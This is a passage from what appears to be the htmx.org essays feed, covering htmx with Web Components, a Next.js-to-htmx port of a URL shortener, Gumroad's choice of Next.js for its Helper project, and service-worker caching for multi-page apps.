&lt;p&gt;We still have an entirely declarative &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;hateoas&#x2F;&quot;&gt;HATEOAS&lt;&#x2F;a&gt; interface—both current state (the &lt;code&gt;value&lt;&#x2F;code&gt; attribute) and possible actions on that state (the &lt;code&gt;&amp;lt;form&amp;gt;&lt;&#x2F;code&gt; and &lt;code&gt;&amp;lt;edit-cell&amp;gt;&lt;&#x2F;code&gt; elements) are efficiently encoded in the hypertext—only now we’ve expressed the same ideas a lot more concisely.
htmx can add or remove rows (or better yet, whole tables) with the &lt;code&gt;&amp;lt;edit-cell&amp;gt;&lt;&#x2F;code&gt; web component as if &lt;code&gt;&amp;lt;edit-cell&amp;gt;&lt;&#x2F;code&gt; were a built-in HTML element.&lt;&#x2F;p&gt;
&lt;p&gt;You’ve probably noticed that I didn’t include the implementation details for &lt;code&gt;&amp;lt;edit-cell&amp;gt;&lt;&#x2F;code&gt; (although you can, &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;right-click-view-source&#x2F;&quot;&gt;of course&lt;&#x2F;a&gt;, View Source this page to see them).
That’s because they don’t matter!
Whether the web component was written by you, or a teammate, or a library author, it can be used exactly like a built-in HTML element and htmx will handle it just fine.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;don-t-web-components-have-some-problems&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#don-t-web-components-have-some-problems&quot; aria-label=&quot;Anchor link for: don-t-web-components-have-some-problems&quot;&gt;Don’t Web Components have some problems?&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;A lot of the problems that JavaScript frameworks have supporting Web Components don’t apply to htmx.&lt;&#x2F;p&gt;
&lt;p&gt;Web Components &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;dev.to&#x2F;ryansolid&#x2F;web-components-are-not-the-future-48bh&quot;&gt;have DOM-based lifecycles&lt;&#x2F;a&gt;, so they are difficult for JavaScript frameworks, which often manipulate elements outside of the DOM, to work with.
Frameworks have to account for some &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;Rich_Harris&#x2F;status&#x2F;1841467510194843982&quot;&gt;bizarre and arguably buggy&lt;&#x2F;a&gt; APIs that behave differently for native DOM elements than they do for custom ones.
Here at htmx, we agree with &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;Rich_Harris&#x2F;status&#x2F;1839484645194277111&quot;&gt;SvelteJS creator Rich Harris&lt;&#x2F;a&gt;: “web components are [not] useful primitives on which to build web frameworks.”&lt;&#x2F;p&gt;
&lt;p&gt;The good news is that htmx &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;is-htmx-another-javascript-framework&#x2F;&quot;&gt;is not really a JavaScript web framework&lt;&#x2F;a&gt;.
The DOM-based lifecycles of custom elements work great in htmx, because everything in htmx has a DOM-based lifecycle—we get stuff from the server, and we add it to the DOM.
The default htmx swap style is to just set &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;API&#x2F;Element&#x2F;innerHTML&quot;&gt;&lt;code&gt;.innerHTML&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;, and that works great for the vast majority of users.&lt;&#x2F;p&gt;
&lt;p&gt;That’s not to say that htmx doesn’t have to accommodate weird Web Component edge cases.
Our community member and resident WC expert &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;unmodernweb.com&#x2F;&quot;&gt;Katrina Scialdone&lt;&#x2F;a&gt; merged &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;bigskysoftware&#x2F;htmx&#x2F;pull&#x2F;2075&quot;&gt;Shadow DOM support for htmx 2.0&lt;&#x2F;a&gt;, which lets htmx process the implementation details of a Web Component,
and supporting that is &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;bigskysoftware&#x2F;htmx&#x2F;pull&#x2F;2846&quot;&gt;occasionally&lt;&#x2F;a&gt; &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;bigskysoftware&#x2F;htmx&#x2F;pull&#x2F;2866&quot;&gt;frustrating&lt;&#x2F;a&gt;.
But being able to work with both the &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;examples&#x2F;web-components&#x2F;&quot;&gt;Shadow DOM&lt;&#x2F;a&gt; and the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;meyerweb.com&#x2F;eric&#x2F;thoughts&#x2F;2023&#x2F;11&#x2F;01&#x2F;blinded-by-the-light-dom&#x2F;&quot;&gt;“Light DOM”&lt;&#x2F;a&gt; is a nice feature for htmx, and it carries a relatively minimal support burden because htmx just isn’t doing all that much.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;bringing-behavior-back-to-the-html&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#bringing-behavior-back-to-the-html&quot; aria-label=&quot;Anchor link for: bringing-behavior-back-to-the-html&quot;&gt;Bringing Behavior Back to the HTML&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;A couple of years ago, W3C Contributor (and Web Component proponent, I think) Lea Verou wrote the following, in a blog post about &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;lea.verou.me&#x2F;blog&#x2F;2020&#x2F;09&#x2F;the-failed-promise-of-web-components&#x2F;&quot;&gt;“The failed promise of Web Components”&lt;&#x2F;a&gt;:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;the main problem is that HTML is not treated with the appropriate respect in the design of these components. They are not designed as closely as possible to standard HTML elements, but expect JS to be written for them to do anything. HTML is simply treated as a shorthand, or worse, as merely a marker to indicate where the element goes in the DOM, with all parameters passed in via JS.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Lea is identifying an issue that, from the perspective of 2020, would have seemed impossible to solve: the cutting-edge web developers targeted by Web Components were not writing HTML, they were writing JSX, usually with React (or Vue, or what have you).
The idea that &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;unplannedobsolescence.com&#x2F;blog&#x2F;behavior-belongs-in-html&#x2F;&quot;&gt;behavior belongs in the HTML&lt;&#x2F;a&gt; was, in the zeitgeist, considered &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;locality-of-behaviour&#x2F;&quot;&gt;a violation of separation of concerns&lt;&#x2F;a&gt;;
disrespecting HTML was best practice.&lt;&#x2F;p&gt;
&lt;p&gt;The relatively recent success of htmx—itself now a participant in the zeitgeist—offers an alternative path: take HTML seriously again.
If your website is one whose functionality can be primarily described with &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;when-to-use-hypermedia&#x2F;&quot;&gt;large-grain hypermedia transfers&lt;&#x2F;a&gt; (we believe most of them can), then the value of being able to express more complex patterns through hypermedia increases dramatically.
As more developers use htmx (and multi-page architectures generally) to structure their websites,
perhaps the demand for Web Components will increase along with it.&lt;&#x2F;p&gt;
&lt;p&gt;Do Web Components “just work” everywhere? Maybe, maybe not. But they do work here.&lt;&#x2F;p&gt;
&lt;script&gt;
class EditCell extends HTMLElement {
  connectedCallback() {
    this.value = this.getAttribute(&quot;value&quot;)
    this.name = this.getAttribute(&quot;name&quot;)

    this.innerHTML = `
      &lt;select&gt;
        &lt;option ${this.value === &#x27;Yes&#x27; ? &#x27;selected&#x27; : &#x27;&#x27;}&gt;Yes
        &lt;option ${this.value === &#x27;No&#x27; ? &#x27;selected&#x27; : &#x27;&#x27;}&gt;No
        &lt;option ${this.value === &#x27;Maybe&#x27; ? &#x27;selected&#x27; : &#x27;&#x27;}&gt;Maybe
      &lt;&#x2F;select&gt;
    `
  }
}

customElements.define(&#x27;edit-cell&#x27;, EditCell)
&lt;&#x2F;script&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Next.js to htmx — A Real World Example</title>
        <published>2024-11-07T00:00:00+00:00</published>
        <updated>2024-11-07T00:00:00+00:00</updated>
        
        <author>
          <name>
            Pouria Ezzati
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://htmx.org/essays/a-real-world-nextjs-to-htmx-port/"/>
        <id>https://htmx.org/essays/a-real-world-nextjs-to-htmx-port/</id>
        
        <content type="html" xml:base="https://htmx.org/essays/a-real-world-nextjs-to-htmx-port/">&lt;p&gt;Over 6 years ago, I created &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;thedevs-network&#x2F;kutt&quot;&gt;an open source URL shortener&lt;&#x2F;a&gt; with Next.js and after years of working on it, I found Next.js to be much more of a burden than a help. Over the years, Next.js has changed, and so did my code so it can be compatible with those changes.&lt;&#x2F;p&gt;
&lt;p&gt;My Next.js codebase grew bigger, and its complexity increased by greater size. I had dozens of components and a list of dependencies to manage. I ended up maintaining the code constantly just to keep it alive. Sure, Next.js helped here and there, but at what cost?&lt;&#x2F;p&gt;
&lt;p&gt;I asked myself, what am I doing on my website that is so complex that needs all that JavaScript code to decide what to render and how to render on my webpage? Next.js was trying to render the webpage from the server side, so why won’t I send the HTML directly myself?&lt;&#x2F;p&gt;
&lt;p&gt;So I decided to try a new route—some might say the good ol’ route—and choose plain HTML and use the help of htmx for that.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;video&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#video&quot; aria-label=&quot;Anchor link for: video&quot;&gt;Video&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Watch me go full in details here:&lt;&#x2F;p&gt;
&lt;iframe style=&quot;max-width: 100%&quot; width=&quot;618&quot; height=&quot;352&quot; src=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;embed&#x2F;8RL4NvYZDT4&quot; title=&quot; Next.js to htmx – A Real World Example &quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture&quot; allowfullscreen&gt;&lt;&#x2F;iframe&gt;
&lt;h2 id=&quot;the-process&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#the-process&quot; aria-label=&quot;Anchor link for: the-process&quot;&gt;The process&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Replacing my components with the equivalent HTML elements powered by htmx wasn’t exactly an easy task, but one that was worth the time. I had to view things from a different angle, and I sometimes felt strict in what user interactions I can implement, but what I created was reliable and fast.&lt;&#x2F;p&gt;
&lt;p&gt;All the build steps were gone; no more transpiling and compiling the code. What you see is what you get. Most of the dependencies became redundant and have been removed. All the main logic of the website was moved to the server side, holding one source for the truth.&lt;&#x2F;p&gt;
&lt;p&gt;In the Next.js version I had isolated components, global states, and all that JavaScript to handle the forms or update the content, and yet, everything was more intuitive with htmx. After trying it, sending and receiving HTML suddenly made sense.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;summary&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#summary&quot; aria-label=&quot;Anchor link for: summary&quot;&gt;Summary&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;Dependencies are &lt;strong&gt;reduced by 87%&lt;&#x2F;strong&gt; (&lt;strong&gt;24&lt;&#x2F;strong&gt; to &lt;strong&gt;3&lt;&#x2F;strong&gt;!)&lt;&#x2F;li&gt;
&lt;li&gt;I wrote &lt;strong&gt;less code by 17%&lt;&#x2F;strong&gt;  (&lt;strong&gt;9500 LOC&lt;&#x2F;strong&gt; to &lt;strong&gt;7900 LOC&lt;&#x2F;strong&gt;.) In reality the total LOC of the code base is &lt;strong&gt;reduced by more than 50%&lt;&#x2F;strong&gt;, since much less code is imported from the dependencies.&lt;&#x2F;li&gt;
&lt;li&gt;Web build time was &lt;strong&gt;reduced by 100%&lt;&#x2F;strong&gt; (there’s &lt;strong&gt;no build step&lt;&#x2F;strong&gt; anymore.)&lt;&#x2F;li&gt;
&lt;li&gt;Size of the website &lt;strong&gt;reduced by more than 85%&lt;&#x2F;strong&gt; (&lt;strong&gt;~800KB&lt;&#x2F;strong&gt; to &lt;strong&gt;~100KB&lt;&#x2F;strong&gt;!)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;These numbers signify a great improvement, however, what is important for me at the end is the user and the developer experience, which to me htmx won at both.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Why Gumroad Didn&#x27;t Choose htmx</title>
        <published>2024-09-30T00:00:00+00:00</published>
        <updated>2024-09-30T00:00:00+00:00</updated>
        
        <author>
          <name>
            Sahil Lavingia
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://htmx.org/essays/why-gumroad-didnt-choose-htmx/"/>
        <id>https://htmx.org/essays/why-gumroad-didnt-choose-htmx/</id>
        
        <content type="html" xml:base="https://htmx.org/essays/why-gumroad-didnt-choose-htmx/">&lt;p&gt;At Gumroad, we recently embarked on a new project called &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;helper.ai&quot;&gt;Helper&lt;&#x2F;a&gt;. As the CEO, I was initially quite
optimistic about using &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;htmx.org&quot;&gt;htmx&lt;&#x2F;a&gt; for this project, even though some team members were less enthusiastic.&lt;&#x2F;p&gt;
&lt;p&gt;My optimism stemmed from previous experiences with React, which often felt like overkill for our needs. I thought htmx
could be a good solution to keep our front-end super light.&lt;&#x2F;p&gt;
&lt;figure&gt;
&lt;a href=&quot;&#x2F;img&#x2F;gumroad-red.jpeg&quot; target=&quot;_blank&quot;&gt;
&lt;img alt=&quot;GitHub screenshot shows deleted files&quot; src=&quot;&#x2F;img&#x2F;gumroad-red.jpeg&quot; style=&quot;width: 100%&quot;&gt;
&lt;&#x2F;a&gt; 
&lt;figcaption&gt;Source with htmx - Click Image To View&lt;&#x2F;figcaption&gt;
&lt;&#x2F;figure&gt;
&lt;p&gt;In fact, I shared this sentiment with our team in Slack:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;“https:&#x2F;&#x2F;htmx.org&#x2F; may be a way of adding simple interactions to start”&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;And initially, it seemed promising! As one of our engineers at Gumroad eloquently put it:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;“HTMX is (officially) a meme to make fun of how overly complicated the JS landscape has gotten - much like tailwind is
just a different syntax for inline CSS, HTMX is a different syntax for inline JS.”&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;However, unlike Tailwind, which has found its place in our toolkit, htmx didn’t scale for our purposes and didn’t lead
to the best user experience for our customers–at least for our use case.&lt;&#x2F;p&gt;
&lt;p&gt;Here’s why:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Intuition and Developer Experience&lt;&#x2F;strong&gt;: While it would have been possible to do the right thing in htmx, we found it
much more intuitive and fun to get everything working with Next.js. The development process felt natural with
Next.js, whereas with htmx, it often felt unnatural and forced. For example, when building complex forms with dynamic
validation and conditional fields, we found ourselves writing convoluted server-side logic to handle what would be
straightforward client-side operations in React.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;UX Limitations&lt;&#x2F;strong&gt;: htmx ended up pushing our app towards a Rails&#x2F;CRUD approach, which led to a really poor (or at
least, boring and generic) user experience by default. We found ourselves constantly fighting against this tendency,
which was counterproductive. For instance, implementing a drag-and-drop interface for our workflow builder proved to
be a significant challenge with htmx, requiring workarounds that felt clunky compared to the smooth experience we
could achieve with React libraries.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;AI and Tooling Support&lt;&#x2F;strong&gt;: It’s worth noting that AI tools are intimately familiar with Next.js and not so much with
htmx, due to the lack of open-source training data. This is similar to the issue Rails faces. While not a
dealbreaker, it did impact our development speed and the ease of finding solutions to problems. When we encountered
issues, the wealth of resources available for React&#x2F;Next.js made troubleshooting much faster.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Scalability Concerns&lt;&#x2F;strong&gt;: As our project grew in complexity, we found htmx struggling to keep up with our needs. The
simplicity that initially attracted us began to feel limiting as we tried to implement more sophisticated
interactions and state management. For example, as we added features like real-time collaboration and complex data
visualization, managing state across multiple components became increasingly difficult with htmx’s server-centric
approach.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Community and Ecosystem&lt;&#x2F;strong&gt;: The React&#x2F;Next.js ecosystem is vast and mature, offering solutions to almost any problem
we encountered. With htmx, we often found ourselves reinventing the wheel or compromising on functionality. This
became particularly evident when we needed to integrate third-party services and libraries, which often had React
bindings but no htmx equivalents.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;figure&gt;
&lt;a href=&quot;&#x2F;img&#x2F;gumroad-green.jpeg&quot; target=&quot;_blank&quot;&gt;
&lt;img alt=&quot;GitHub: 1 added file&quot; src=&quot;&#x2F;img&#x2F;gumroad-green.jpeg&quot; style=&quot;width: 100%&quot;&gt;
&lt;&#x2F;a&gt; 
&lt;figcaption&gt;Source with Next.js - Click Image To View&lt;&#x2F;figcaption&gt;
&lt;&#x2F;figure&gt;
&lt;p&gt;Ultimately, we ended up moving to React&#x2F;Next.js, which has been a really great fit for building the complex UX we’ve
been looking for. We’re happy with this decision–for now. It’s allowed us to move faster, create more engaging user
experiences, and leverage a wealth of existing tools and libraries.&lt;&#x2F;p&gt;
&lt;figure&gt;
&lt;a href=&quot;&#x2F;img&#x2F;gumroad-helper-before-after.png&quot; target=&quot;_blank&quot;&gt;
&lt;img alt=&quot;The old Gumroad Helper interface is quite basic with a single flat form,
  while the new one has multiple levels of navigation and editable lists.&quot;
  src=&quot;&#x2F;img&#x2F;gumroad-helper-before-after.png&quot; style=&quot;width: 100%&quot;&gt;
&lt;&#x2F;a&gt; 
&lt;figcaption&gt;Gumroad Helper Before &amp; After - Click Image To View&lt;&#x2F;figcaption&gt;
&lt;&#x2F;figure&gt;
&lt;p&gt;This experience has reinforced a valuable lesson: while it’s important to consider lightweight alternatives, it’s
equally crucial to choose technologies that can grow with your project and support your long-term vision. For Helper,
React and Next.js have proven to be that choice.&lt;&#x2F;p&gt;
&lt;p&gt;Since we’ve moved there, we’ve been able to seriously upgrade our app’s user experience for our core customers.&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Drag-and-Drop Functionality&lt;&#x2F;strong&gt;: One of the key features of our workflow builder is the ability to reorder steps
through drag-and-drop. While it’s possible to implement drag-and-drop with htmx, we found that the available
solutions felt clunky and required significant custom JavaScript. In contrast, React ecosystem offers libraries like
react-beautiful-dnd that provide smooth, accessible drag-and-drop with minimal setup.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Complex State Management&lt;&#x2F;strong&gt;: Each workflow step has its own set of configurations and conditional logic. As users
edit these, we need to update the UI in real-time to reflect changes and their implications on other steps. With
htmx, this would require numerous server roundtrips or complex client-side state management that goes against htmx’s
server-centric philosophy. React’s state management solutions (like useState or more advanced options like Redux)
made this much more straightforward.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Dynamic Form Generation&lt;&#x2F;strong&gt;: The configuration for each step type is different and can change based on user input.
Generating these dynamic forms and handling their state was more intuitive with React’s component model. With htmx,
we found ourselves writing more complex server-side logic to generate and validate these forms.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Real-time Collaboration&lt;&#x2F;strong&gt;: While not visible in this screenshot, we implemented features allowing multiple users to
edit a workflow simultaneously. Implementing this with WebSockets and React was relatively straightforward, whereas
with htmx, it would have required more complex server-side logic and custom JavaScript to handle real-time updates.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Performance Optimization&lt;&#x2F;strong&gt;: As workflows grew larger and more complex, we needed fine-grained control over
rendering optimizations. React’s virtual DOM and hooks like useMemo and useCallback allowed us to optimize
performance in ways that weren’t as readily available or intuitive with htmx.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;It’s important to note that while these challenges aren’t insurmountable with htmx, we found that addressing them often
led us away from htmx’s strengths and towards solutions that felt more natural in a JavaScript-heavy environment. This
realization was a key factor in our decision to switch to React and Next.js.&lt;&#x2F;p&gt;
&lt;p&gt;We acknowledge that htmx may be a great fit for many projects, especially those with simpler interaction models or those
built on top of existing server-rendered applications. Our experience doesn’t invalidate the benefits others have found
in htmx. The key is understanding your project’s specific needs and choosing the tool that best aligns with those
requirements.&lt;&#x2F;p&gt;
&lt;p&gt;In our case, the complex, stateful nature of Helper’s interface made React and Next.js a better fit. However, we
continue to appreciate htmx’s approach and may consider it for future projects where its strengths align better with our
needs.&lt;&#x2F;p&gt;
&lt;p&gt;That said, we’re always open to reevaluating our tech stack as our needs evolve and new technologies emerge. Who knows
what the future might bring?&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>You Can&#x27;t Build Interactive Web Apps Except as Single Page Applications... And Other Myths</title>
        <published>2024-09-20T00:00:00+00:00</published>
        <updated>2024-09-20T00:00:00+00:00</updated>
        
        <author>
          <name>
            Tony Alaribe
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://htmx.org/essays/you-cant/"/>
        <id>https://htmx.org/essays/you-cant/</id>
        
        <content type="html" xml:base="https://htmx.org/essays/you-cant/">&lt;style&gt;
img, video {
  max-width: 100%;
  margin: 10px;
}
&lt;&#x2F;style&gt;
&lt;h3 id=&quot;an-ode-to-browser-advancements&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#an-ode-to-browser-advancements&quot; aria-label=&quot;Anchor link for: an-ode-to-browser-advancements&quot;&gt;&lt;strong&gt;An Ode to Browser Advancements.&lt;&#x2F;strong&gt;&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;I often encounter discussions on Reddit and YCombinator where newer developers seek tech stack advice. Inevitably,
someone claims it’s impossible to build a high-quality application without using a single-page application (SPA)
framework like React or AngularJS. This strikes me as odd because, even before the SPA revolution, many popular
multi-page web applications offered excellent user experiences.&lt;&#x2F;p&gt;
&lt;p&gt;Two years ago, I set out to build an &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;apitoolkit.io&quot;&gt;observability platform&lt;&#x2F;a&gt; and chose to experiment with a
multi-page application (MPA) approach using HTMX. I wondered: Would a server-rendered MPA be inadequate for a data-heavy
application, considering that most observability platforms are built on ReactJS?&lt;&#x2F;p&gt;
&lt;p&gt;What I discovered is that you can create outstanding server-rendered applications if you pay attention to certain
details.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Here are some common MPA myths and what I’ve learned about them.&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;myth-1-mpa-page-transitions-are-slow-because-javascript-and-css-are-downloaded-on-every-page-navigation&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#myth-1-mpa-page-transitions-are-slow-because-javascript-and-css-are-downloaded-on-every-page-navigation&quot; aria-label=&quot;Anchor link for: myth-1-mpa-page-transitions-are-slow-because-javascript-and-css-are-downloaded-on-every-page-navigation&quot;&gt;Myth 1:  MPA Page Transitions are slow because JavaScript and CSS are downloaded on every page navigation&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;The perception that MPA page transitions are slow is widespread—and not entirely unfounded—since this is the default
behavior of browsers. However, browsers have made significant improvements over the past decade to mitigate this issue.&lt;&#x2F;p&gt;
&lt;p&gt;To illustrate, in the video below, a full page reload with the cache disabled takes 2.90 seconds until the
DOMContentLoaded event fires. I recorded this at a café with poor Wi-Fi, but let’s use this as a reference point. Keep
that number in mind.&lt;&#x2F;p&gt;
&lt;video controls&gt;
  &lt;source src=&quot;&#x2F;img&#x2F;you-cant&#x2F;log-exp-cache.mp4&quot;&gt;
&lt;&#x2F;video&gt;
&lt;p&gt;It is common to reduce load times in MPAs using libraries such as &lt;strong&gt;PJAX, Turbolinks, and even HTMX Boost&lt;&#x2F;strong&gt;. These
libraries hijack the page reload using Javascript and swap out only the HTML body element between transitions. That way,
most of the page’s head section assets don’t need to be reloaded or re-downloaded.&lt;&#x2F;p&gt;
&lt;p&gt;But there’s a lesser known way of reducing how much assets are re-downloaded or evaluated during page transitions.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;client-side-caching-via-service-workers&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#client-side-caching-via-service-workers&quot; aria-label=&quot;Anchor link for: client-side-caching-via-service-workers&quot;&gt;Client-side Caching via Service workers&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Frontend developers who have built Progressive Web Applications (PWA) with SPA frameworks might know about service
workers.&lt;&#x2F;p&gt;
&lt;p&gt;For those of us who are not frontend or PWA developers, service workers are a built-in feature of browsers. They let you
write Javascript code that sits between your users and the network, intercepting requests and deciding how the browser
handles them.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;img&#x2F;you-cant&#x2F;service-worker-chart.png&quot; alt=&quot;service-worker-chart.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Due to its association with the PWA trend, service workers are only ordinary among SPA developers, and developers need
to realize that this technology can also be used for regular Multi-Page Applications.&lt;&#x2F;p&gt;
&lt;video controls&gt;
  &lt;source src=&quot;&#x2F;img&#x2F;you-cant&#x2F;log_exp_with_cache.mp4&quot;&gt;
&lt;&#x2F;video&gt;
&lt;p&gt;In the video demonstration, we enable a service worker to cache and refresh the current page. You’ll notice that there’s
no flicker when clicking the link to reload the page, resulting in a smoother user experience.&lt;&#x2F;p&gt;
&lt;p&gt;Moreover, instead of transmitting over 2 MB of static assets as before, the browser now only fetches 84 KB of HTML
content—the actual page data. This optimization reduces the &lt;code&gt;DOMContentLoaded&lt;&#x2F;code&gt; event time from 2.9 seconds to under 500
milliseconds. Impressively, this improvement is achieved &lt;strong&gt;without&lt;&#x2F;strong&gt; using HTMX Boost, PJAX, or Turbolinks.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;how-to-implement-service-workers-in-your-multi-page-application&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#how-to-implement-service-workers-in-your-multi-page-application&quot; aria-label=&quot;Anchor link for: how-to-implement-service-workers-in-your-multi-page-application&quot;&gt;How to Implement Service workers in Your Multi-Page Application&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;You might be wondering how to replicate these performance gains in your own MPA. Here’s a simple guide:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Create a &lt;code&gt;sw.js&lt;&#x2F;code&gt; File&lt;&#x2F;strong&gt;: This is your service worker script that will manage caching and network requests.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;List Files to Cache&lt;&#x2F;strong&gt;: Within the service worker, specify all the assets (HTML, CSS, JavaScript, images) that
should be cached.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Define Caching Strategies&lt;&#x2F;strong&gt;: Indicate how each type of asset should be cached—for example, whether they should be
cached permanently or refreshed periodically.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;By implementing a service worker, you effectively tell the browser how to handle network requests and caching, leading
to faster load times and a more seamless user experience.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;use-workbox-to-generate-service-workers&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#use-workbox-to-generate-service-workers&quot; aria-label=&quot;Anchor link for: use-workbox-to-generate-service-workers&quot;&gt;Use Workbox to generate service workers&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;While it’s possible to write service workers by hand—and there are excellent resources
like &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;API&#x2F;Service_Worker_API&#x2F;Using_Service_Workers&quot;&gt;this MDN article&lt;&#x2F;a&gt; to
help you—I prefer using Google’s &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.chrome.com&#x2F;docs&#x2F;workbox&quot;&gt;Workbox&lt;&#x2F;a&gt; library to automate the process.&lt;&#x2F;p&gt;
